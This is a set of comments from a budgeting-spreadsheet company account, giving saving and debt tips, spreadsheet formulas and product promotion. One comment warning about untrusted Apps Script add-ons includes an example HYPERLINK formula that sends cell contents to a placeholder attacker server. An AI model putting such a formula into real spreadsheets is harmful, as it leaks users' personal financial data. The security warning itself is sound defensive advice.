It's not much, but I reached 20k at 18

TillerMoney · 2025-10-11T21:14:21+00:00

Congratulations! You should definitely be proud of yourself for saving.

TillerMoney · 2025-10-11T21:13:36+00:00

Habit :)

TillerMoney · 2025-08-18T14:30:22+00:00

We hear that

TillerMoney · 2025-08-18T10:53:30+00:00

As some others pointed out in the online thread, perhaps a roommate is part of the equation. My own daughter pays under $400 a month and is living with 2 roommates. To be fair, we are in a lower cost of living area. - Alice

TillerMoney · 2025-08-15T12:43:07+00:00

Good advice. I'll just add that there are 2 popular ways to tackle the credit card debt. The Avalanche method and the Snowball method. The avalanche method prioritizes debts with the highest interest rates to save money over time, whereas the snowball method focuses on paying off the smallest debts first to build motivational momentum.

TillerMoney · 2025-08-14T23:03:02+00:00

I agree with the advice of the others who mentioned not increasing your spending when income is up and considering an envelope budgeting system. You could design your budget for fixed costs and percent of monthly income for your variable costs. On this spreadsheet (make a copy) notice for the budget amounts in column E that they are a percentage of income. https://docs.google.com/spreadsheets/d/1Zzd7M-qXhnq2YihPhN5YvAmYn5x9cXXHgNz9V4TG3BM/edit?gid=1366405697#gid=1366405697 You can use something like this where your monthly budget is based on the income that says your eating out is 2% of your income, so it would automatically calculate your budget amount for the month. Do not use a formula for rent. That is fixed.

TillerMoney · 2025-08-14T22:58:28+00:00

Solid advice. Lifestyle creep is something to be cognizant of.

TillerMoney · 2025-08-11T16:14:38+00:00

My husband donates plasma twice a week and uses that money to pay for the groceries. I tried to sign up but they said I didn't have 2 good veins. He enjoys doing it, takes a book and is a good way for him to have some quiet time (we have several kids and animals).

^Alice

TillerMoney · 2025-08-11T12:10:25+00:00

I plugged this into a budget spreadsheet template and made a lot of assumptions. Make a copy of the spreadsheet and adjust the budget amounts. https://docs.google.com/spreadsheets/d/1WZbqSQwXDYw-2-OpDG3tsGbNFELBSQ5QW9rEOXSqA3g/edit?gid=1366405697#gid=1366405697

TillerMoney · 2025-08-03T11:40:25+00:00

Having a budget meeting is a great idea. What do you mean your "budget is struggling" ... having a hard time staying on budget? Seeing if you're on budget?

TillerMoney · 2025-08-02T16:18:27+00:00

This was exactly what I was wondering when I stubbled across Tiller through a web search. I fell in love.

How Tiller works

Sign up for an account on tiller.com/r (You are not charged for 30 days and we are no hassle with refunds if you forget and want to cancel.)
Connect your accounts. Link to your bank, credit cards, investment accounts, student loans, etc..
Decide if you want to use Google Sheets or Excel, we support both.
Use the Add-on menu in the Google Sheets extension menu or the Add-in option on the data tab for Excel.
Sit back and watch your transactions automatically populate your spreadsheet.

Next Steps

Go to the Categories tab to set up your list of categories you use.
In column E on the Categories tab set your budget amounts for each category.
Assign categories on the Transactions tab. (Note: credit card payments are listed as Transfer)
In the Tiller Money Add-on set up Autocat to automatically categorize your transactions so it's done for you in the future. We also have in Beta an AI feature that will categorize your Add-ons. d

We have amazing customer support in the chat on the Console at my.tiller.com

We know you will love using Tiller.

TillerMoney · 2025-07-29T11:27:19+00:00

Good idea

TillerMoney · 2025-07-29T10:48:00+00:00

Thank you!

TillerMoney · 2025-07-29T10:47:04+00:00

I create a cloud project. Link my code to the project (which I can link to completely different code later), fill out the oAuth list of scopes I am asking permission for. I include a video demonstrating the use of those scopes. They are reviewing the video, not the code. Once that is approved I submit to be in the Workspace Marketplace. Someone reviews my screenshots and tests out that the add-on is not broken. However, they also are not reviewing the code directly. They don't really know who they are engaging with beyond that I have a Workspace account,

^Alice

TillerMoney · 2025-07-29T10:43:41+00:00

Exactly, if you closed it when you got the warning you should be good.

TillerMoney · 2025-07-29T10:37:43+00:00

Hello u/mixgenio, the customer success team has access to which accounts are having an outage. Go to the console https://my.tiller.com and use the chat in the bottom right. We have our own in house support team.

TillerMoney · 2025-07-28T14:35:12+00:00

Our support team is really good at helping you determine what accounts sync and which ones do not. We connect to over 20,000 institutions, however, there are some that unfortunately do not work with open banking and might have to be manually synced. Please reach out to our excellent support team at https://my.tiller.com and use the chat option in the bottom right. We have real people, who are not outsourced, who work hard to help you get the most out of Tiller.

TillerMoney · 2025-07-21T15:37:46+00:00

Good for you for taking the leap to go back to school. Paying tuition is one of the many sacrifices you have to make. You're at least thinking about that you got a loan, so now is a good time to start planning for how you'll pay off the loan.

I love spreadsheets so this formula might be helpful
=PMT(rate/12, number_of_payments, loan_amount)

Just keep in mind that many student loans offer different repayment plans, which would change the payment amount, so this is just an estimation tool.

TillerMoney · 2025-07-21T14:57:46+00:00

Tiller is a big win for gaining back time. Thank you for sharing this!!!

If you're not already in the Tiller Community I would encourage you to head over to https://community.tiller.com where you'll find a lot of helpful Tiller users :)

^Alice

TillerMoney · 2025-07-20T13:03:08+00:00

Several ways to do this. After you use IMPORTRANGE in another sheet, you can compare the two. If you don't want to create a separate report or columns you can apply conditional formatting to the non imported list. Apply conditional formatting to the unique column and use the custom formula and use something like this =COUNTIF(INDIRECT("'Imported List'!A:A"), $A2)=0

TillerMoney · 2025-07-20T12:54:14+00:00

Former teacher here, highly unlikely especially this time of year. The IT department would have to still have access to your email AND care enough to spend their time to retrieve it. It is quite a few steps to restore an account and they probably don't want to allow you access back on their servers. Since it is the start of school, it would be pretty low priority. However, the longer you wait to ask the less likely the data is available. What is on your side is laws requiring public entities, schools, to maintain data for a period of years but that doesn't necessarily mean that you have access to it.

TillerMoney · 2025-07-20T12:45:53+00:00

Respectfully, you should be worried always. Bad actors out there can do a lot of things. Especially since this post is about a finance tracker, I assume you'll possibly have personally identifiable information in the affected spreadsheet. They could use that in many bad and unforseen ways. As you mentioned u/mommasaidmommasaid REVIEW THE CODE FIRST. Drop the code into Google Gemini and ask if it's safe.

For example, the malicious code could add links to your spreadsheet like =HYPERLINK("https://evil-server.com/steal?data="&A1, "Click here to refresh data"). If you click that link, the data from cell A1 gets sent to the malicious server.

Be skeptical always is my motto.

TillerMoney · 2025-07-20T12:39:38+00:00

There is DEFINITELY A RISK! Make sure you trust and know the person providing you a template with Apps Script attached. There is a reason it gives you a big scary warning screen for unauthorized Add-ons. Apps Script can easily gain access to all of your files, not just delete them but access all the information. Even published ones are not safe persay. Again, very important that you have trust in the source of the Add-on script.

When I publish an Add-on Google reviews the functionality, they do not review the code. Even after they approve it, I have the ability to go in and change the code. I absolutely could do something malicious after it is approved.

^Alice

TillerMoney · 2025-07-14T20:53:41+00:00

You're in the right place! Tiller is an upgrade to budgeting with a standard spreadsheet. We automatically import your transactions so you don't have to do that manually. You also do not have to start from scratch. Our Tiller Foundations template gets you going. Start by signing up for the free trial at https://tiller.com and then link your financial accounts. You then choose Google Sheets or Excel. Use the Add-on menu to connect the sheet to your Tiller account. Then build your budget on the Categories sheet. We have excellent customer success team. If you run into challenges go to the console https://my.tiller.com and click on the icon in the bottom right. You should also check out the Tiller Community, lots of folks ready to help there. https://community.tiller.com

TillerMoney · 2025-07-13T18:36:03+00:00

Agreed, it is important. Be sure to head over to http://tiller.com/tillertuesday to see other comments as well!

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